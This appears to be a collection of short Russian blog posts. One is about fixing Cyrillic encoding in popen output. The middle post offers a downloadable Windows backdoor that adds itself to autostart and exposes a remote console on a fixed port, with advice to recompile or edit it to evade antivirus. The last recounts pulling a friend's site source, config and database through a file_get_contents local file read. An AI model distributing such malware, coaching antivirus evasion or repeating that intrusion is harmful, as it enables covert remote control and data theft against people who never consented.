Нужно было получить информацию о выполнении команды, с помощью popen, вывести её и записать в файл. Но если выводилась она нормально, то в файле вместо русских символов были кракозябры. SetLocale и прочие извращения не помогали. Пробовал CharToOem, не помогло.. А OemToChar помогла! Это вам не php, тут ещё интереснее ж)
Написал простой бэкдор. Автоматически прописывается в автозагрузку, и даёт доступ к консоли на указанном порту. Не палиться антивирусами. (UPD: кто-то очень умный, залил его на вирус-тотал. Теперь, он палиться чуть-ли не каждым антивирусом. Этому человеку, я хочу сказать “спасибо”, а всем желающим юзать не палящийся софт – перекомпилируйте его на другом компиляторе, либо измените пару строк в коде, что бы он не палился. У меня уже есть чистая версия, так что, ничего сложного в этом нет.) Поддерживает русский язык и авторизацию по паролю.
Для коннекта советую использовать PuTTy. Имеет открытый исходный код! .
Скачать это добро можно здесь – http://mrthe.name/trash/BackDoor.rar, в архиве исходник(компилируется с помощью mingw gcc) и рабочий пример сжатый UPX’ом, который принимает коннекты на 4321-й порт. А как выглядит пароль – можно посмотреть в исходнике. .
И сразу должен сообщить – код не претендует на красоту и оптимальность. Писал в качестве практики и только для законных целей – удобное управление парком машин с любой оси, вплоть до телефонов с J2ME.
Один хороший друг сделал сайт, который проверяет веб-страницы на валидность и выводит её сорцы с предложенными исправлениями. Всё красиво нарисовано и замечательно работает.
.
И закралась мне мысль.. Вобщем, вместо адреса сайта, а вбил “index.php”. И что, вы думаете я увидел? Правильно, исходный пхп код index’a! Добраться до конфига, а из него и до базы не составило труда. Вот так file_get_contents слил всё на свете.